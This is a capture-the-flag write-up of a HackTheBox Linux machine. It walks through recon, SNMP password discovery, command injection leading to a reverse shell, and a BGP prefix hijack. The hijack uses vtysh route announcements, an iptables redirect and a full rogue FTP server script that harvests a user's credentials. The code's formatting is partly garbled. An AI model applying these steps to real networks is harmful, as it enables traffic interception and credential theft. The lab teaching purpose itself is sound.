Select Page
  • HackTheBox Dificulty Rating 51% 51%

OS:

Linux

Points:

30

Release date:

22 Sep 2018

This was just an amazing box and probably my favorite one so far. For the user part we had to log in to a web application by finding a directory listing with some clues on what the box is about and an error list page that tells us default credentials are set for the login page. The password is the serial number found in the snmp response that the server gives us. After we log in to the web application we have to figure out that a diagnostics page is vulnerable to RCE by appending or pipeing commands and encoding them to base64. With this we can read the user flag and get a reverse shell.

After we connect to the box we see that we are directly root but there is no root flag to be found. This is the fun part that I absolutely loved about this box. To get the root flag, we need to perform a BGP Prefix Hijack and reroute a user to our own rogue FTP server in order to steal his credentials and log with them to the real FTP server where the root flag is located.

Let’s jump right in.

 

User

As always I start with a nmap. We immediately see the more interesting ports for us: 80 and 161.

Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-25 00:50 EEST
Nmap scan report for 10.10.10.105
Host is up (0.040s latency).

PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
161/udp snmp

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X|2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.4.20, Linux 2.6.14 – 2.6.34, Linux 2.6.17 (Mandriva), Linux 2.6.23, Linux 2.6.24
Network Distance: 2 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.11 seconds

 

Port 80 has a login page with some error codes and after no luck with some default credentials, we set gobuster to action and see what else we can find hiding on the web server.

2018/09/25 00:57:28 Starting gobuster
=====================================================
/doc (Status: 301)
/img (Status: 301)
/tools (Status: 301)
/index.php (Status: 200)
/css (Status: 301)
/js (Status: 301)
/tickets.php (Status: 302)
/fonts (Status: 301)
/dashboard.php (Status: 302)
/debug (Status: 301)

 

We have a few interesting results and we immediately see a /doc folder that has a directory listing with a few files that look interesting.

 

Let’s check the first one which is a diagram resembling something out of a networking text book. These are various ISP routers connected to each other. The “AS” stands for Autonomous System, but we will get back to that later.

 

The next file is error_codes.pdf and it looks interesting because we saw 45007 and 45009 as error codes on the login page.

 

Ok, so we now know that default user credentials are used and the password is the chassis serial number. Let’s now look at the other port we saw, the UDP 161.

To do this, we use snmpwalk to check what response we get using the command:

snmpwalk -c public -v1 10.10.10.105 1

And immediately we see something starting with SN#… Serial Number maybe?

 

We try that as our password for the user admin and we get in!

 

It seems to be some kind of ticketing app by the looks of it. One ticket in particular stands out. It seems to be referring to some kind of problem with an important FTP server from some other ISP network. Let’s put that in our back pocket for a later time and move on.

 

On the menu tab we notice a Diagnostics page that seems to verify something. On a closer inspection with BurpSuite, we see that it sends a base64 encoded value through the check parameter and returns a partial unix process listing. If we decode the base64 value we see that it decodes to quagga so the system is basically executing a grep of the check parameter on the process list and returning the result to us.

 

We can verify this is happening by changing the value of the check parameter to the base64 equivalent of “root” and see if the application returns the results with “root” as the grep argument.

 

Ok, so we know that the system behind the application greps the processes using a parameter provided by the user. Let’s see if we can chain multiple commands after the grep parameter.

And sure enough, we get command execution:

 

We can get a reverse shell by chaining and base64 encoding the command. I used the python reverse shell as I wanted to make sure nothing went wrong like it did with Zipper.

 

So to translate the above image, I first put the root parameter so that the grep command execute without any problems, then I added an echo command that pipes the base64 encoded python3 reverse shell to a base64 decoder and then executes. Then all of this is base64 encoded again and sent to the application via the check parameter and we successfully get a reverse shell back and are welcomed by a root shell prompt:

From here we can go ahead and cat the user.txt file found in the root directory and the first part is done.

 

Root

Now this is the really interesting part that got me to love this machine so much. We know that we are in some kind of ISP network. We know that there are 2 more AS’s connected to us and we know from the ticket that there is an important FTP somewhere on another network. We also know that on this machine there is a user named quagga and multiple processes with the same name.

Quagga is a network routing software suite providing implementations of Open Shortest Path First, Routing Information Protocol, Border Gateway Protocol and IS-IS for Unix-like platforms, particularly Linux, Solaris, FreeBSD and NetBSD.

Now, I have highlighted Border Gateway Protocol because there is something called GBP hijacking and if we go to https://en.wikipedia.org/wiki/BGP_hijacking we see this:

BGP hijacking (sometimes referred to as prefix hijacking, route hijacking or IP hijacking) is the illegitimate takeover of groups of IP addresses by corrupting Internet routing tables maintained using the Border Gateway Protocol (BGP)

Well what does that mean exactly?

To understand that, we need to understand how the internet works, specifically how it’s all tied together at the large infrastructure scale.

Remember the Autonomous Systems we talked about earlier that we found in the diagram?

Well an AS (Autonomous System) is a large network or group of networks managed by a single organization. An AS may have many sub networks, but all share the same routing policy. Usually an AS is either an ISP (Internet Service Provider) or a very large organization with its own network and multiple upstream connections from that network to ISPs (this is called a ‘multihomed network’). Each AS is assigned its own ASN (Autonomous System Number) to identify them easily. Multiple AS’s connect to each other using a routing protocol named BGP (Border Gateway Protocol). Border Gateway because it refers to the connection between the routers at the borders of the ISP network that leads to other ISP networks. This routing protocol provides directions so that traffic travels from one AS to another as efficiently as possible by announcing to the connected routers that an IP prefix is under it’s control. It basically shouts to other AS’s “Hey, these IP ranges can be found here!”. At an operational level it’s obviously more complex than this but from a security standpoint that’s basically it… There are virtually no secure checks or anything to verify that an AS is indeed the owner of the IP prefix or not. It’s like if you want to deposit money to a bank as fast as possible and a random person on the street tells you he can get the money there faster than anyone. No pinky promise or anything.

Now, imagine what would happen if an ISP with malicious intentions, or one that is compromised, would tell their border routers to yell out loud to every other connected router that they own a set of IP prefixes from say Amazon, or Google, or whatever.

Ok, so now the pieces of the puzzle are coming together. We know that we need to redirect the VIP mentioned in the ticket to our own rouge FTP server using BGP hijacking in order to obtain his username and password and then use those credentials to log into the real FTP server and hopefully get the root.txt file from there. To do this we will use vtysh.

Vtysh is an integrated shell for Quagga routing software. With it we can either drop to an interactive shell or send commands with the -c option.

We can get a list of commands by typing the “?” command. We can also check commands here.

 

Before we can re-configure our router we first need to know the exact address of our FTP server, and we can simply get that by uploading nmap to our host and scanning the 10.120.15.0/24 subnet for open port 21. This will give us the address of 10.120.15.10.

So now we have our target, we can proceed to performing the hijack.

For those of you familiar with Cisco IOS, this should feel right at home. First we need to enter the configuration terminal using the command:

config terminal

Then we need to enter the bgp menu using our AS number which is 100 like this:

router bgp 100

And then advertise the route to the FTP server using:

network 10.120.15.8/30

The protocol prefers the most accurate subnet so if our target address is 10.120.15.10, we can use something like 10.120.15.8/30 which narrows down the subnet to only 4 IP’s (10.120.15.8 to 10.120.15.11) telling the other AS’s that we are the best choice to get to the target address. We can use 10.120.15.10/31 (giving only 2 IP’s) or 10.120.15.10/32 (giving only the target IP address) but I chose a larger subnet to show that even if we didn’t know the exact target IP (or if we wanted to hijack the traffic to a broader subnet) that it would still be possible.

If we are lazy we could do all this in one single command using the -c argument like this:

vtysh -c “config terminal” -c “router bgp 100” -c “network 10.120.15.8/30” -E

At this point we are telling the other AS’s that we are the shortest path to the FTP server so all traffic comes to us. Now we need to actually pose as the FTP server. To do this, I opted in downloading a rogue python3 FTP server on the host machine. The rogue server source code can is the following:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os,socket,threading,time
allow_delete = False
local_ip = '0.0.0.0'
local_port = 21
currdir=os.path.abspath('.')
class FTPserverThread(threading.Thread):
def __init__(self, conn, addr):
self.conn=conn
self.addr=addr
self.basewd=currdir
self.cwd=self.basewd
self.rest=False
self.pasv_mode=False
threading.Thread.__init__(self)
def run(self):
self.conn.send(b'220 Welcome!
')
while True:
cmd=self.conn.recv(256)
if not cmd: break
else:
print('Received:', cmd.decode('utf-8'))
try:
func = getattr(self, cmd[:4].decode('utf-8').strip().upper())
func(cmd)
except Exception as e:
print ('ERROR:',e)
#traceback.print_exc()
self.conn.send(b'500 Sorry.
')
def SYST(self,cmd):
self.conn.send(b'215 UNIX Type: L8
')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send(b'200 OK.
')
else:
self.conn.send(b'451 Sorry.
')
def USER(self,cmd):
self.conn.send(b'331 OK.
')
def PASS(self,cmd):
#self.conn.send(b'230 OK.
')
self.conn.send(b'530 Incorrect.
')
def QUIT(self,cmd):
self.conn.send(b'221 Goodbye.
')
def NOOP(self,cmd):
self.conn.send(b'200 OK.
')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send(b'200 Binary mode.
')
def CDUP(self,cmd):
if not os.path.samefile(self.cwd,self.basewd):
#learn from stackoverflow
self.cwd=os.path.abspath(os.path.join(self.cwd,'..'))
self.conn.send(b'200 OK.
')
def PWD(self,cmd):
cwd=os.path.relpath(self.cwd,self.basewd)
if cwd=='.':
cwd='/'
else:
cwd='/' cwd
self.conn.send(b'257 "%s"
' % cwd)
def CWD(self,cmd):
chwd=cmd[4:-2]
if chwd=='/':
self.cwd=self.basewd
elif chwd[0]=='/':
self.cwd=os.path.join(self.basewd,chwd[1:])
else:
self.cwd=os.path.join(self.cwd,chwd)
self.conn.send(b'250 OK.
')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l=cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8) int(l[5])
self.conn.send(b'200 Get port.
')
def PASV(self,cmd): # from http://goo.gl/3if2U
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servsock.bind((local_ip, 0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
print('open', ip, port)
response = '227 Entering Passive Mode ({},{},{}).
'.format(','.join(ip.split('.')),
str((port >> 8) & 0xFF), str(port & 0xFF))
self.conn.send(response.encode('utf-8'))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
print ('connect:', addr)
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send(b'150 Here comes the directory listing.
')
self.start_datasock()
for t in os.listdir(self.cwd):
k=self.toListItem(os.path.join(self.cwd,t))
self.datasock.send(buff   buff   buff   '
')
print ("[ ] Crafted packet sent . . . [ ]")
#self.datasock.send(buff   buff   '
')
self.stop_datasock()
self.conn.send(b'226 Directory send OK.
')
def toListItem(self,fn):
st=os.stat(fn)
fullmode='rwxrwxrwx'
mode=''
for i in range(9):
mode =((st.st_mode>>(8-i))&1) and fullmode[i] or '-'
d=(os.path.isdir(fn)) and 'd' or '-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime))
return d mode ' 1 user group ' str(st.st_size) ftime os.path.basename(fn)
def MKD(self,cmd):
dn=os.path.join(self.cwd,cmd[4:-2])
os.mkdir(dn)
self.conn.send(b'257 Directory created.
')
def RMD(self,cmd):
dn=os.path.join(self.cwd,cmd[4:-2])
if allow_delete:
os.rmdir(dn)
self.conn.send(b'250 Directory deleted.
')
else:
self.conn.send(b'450 Not allowed.
')
def DELE(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
if allow_delete:
os.remove(fn)
self.conn.send(b'250 File deleted.
')
else:
self.conn.send(b'450 Not allowed.
')
def RNFR(self,cmd):
self.rnfn=os.path.join(self.cwd,cmd[5:-2])
self.conn.send(b'350 Ready.
')
def RNTO(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
os.rename(self.rnfn,fn)
self.conn.send(b'250 File renamed.
')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send(b'250 File position reseted.
')
def RETR(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
#fn=os.path.join(self.cwd,cmd[5:-2]).lstrip('/')
print ('Downlowding:',fn)
if self.mode=='I':
fi=open(fn,'rb')
else:
fi=open(fn,'r')
self.conn.send(b'150 Opening data connection.
')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
self.stop_datasock()
self.conn.send(b'226 Transfer complete.
')
def STOR(self,cmd):
fn=os.path.join(self.cwd,cmd[5:-2])
print ('Uplaoding:',fn)
if self.mode=='I':
fo=open(fn,'wb')
else:
fo=open(fn,'w')
self.conn.send(b'150 Opening data connection.
')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.close()
self.stop_datasock()
self.conn.send(b'226 Transfer complete.
')
class FTPserver(threading.Thread):
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((local_ip,local_port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
c, a = self.sock.accept()
th=FTPserverThread(c, a)
th.daemon=True
th.start()
def stop(self):
self.sock.close()
if __name__=='__main__':
ftp=FTPserver()
ftp.daemon=True
ftp.start()
print ('On', local_ip, ':', local_port)
input('Enter to end...
')
ftp.stop()

 

And then redirecting all traffic to our rogue server rather than the real server using iptables:

iptables -t nat -A PREROUTING -d 10.120.15.10 -j NETMAP –to 10.78.11.1

The above command redirects all traffic going to 10.120.15.10 to our own IP address where the rogue FTP server is hosted. I chose to host the server on our compromised machine but we could easily host this on our own machine and tell iptables to redirect to our IP instead of 10.78.11.1.

We fire up the server and wait for the VIP to connect and sure enough we get the following username and password:

root

BGPtelc0rout1ng

After this, it’s just a matter of logging in to the real FTP server with the acquired credentials and reading the root.txt flag.

 

Final thoughts

I absolutley loved this box because the root part was something totally different than other HackTheBox machines and the fact that you had to do an attack that is so common in it’s nature but only Nation State Actors or large criminal organizations have the means to actually perform it was, for me, an amazing experience. I would like to thank snowscan the creator of this box and would love to see more boxes like this in the future.

  • InfoSec enthusiast
  • Penetration tester
  • CTF player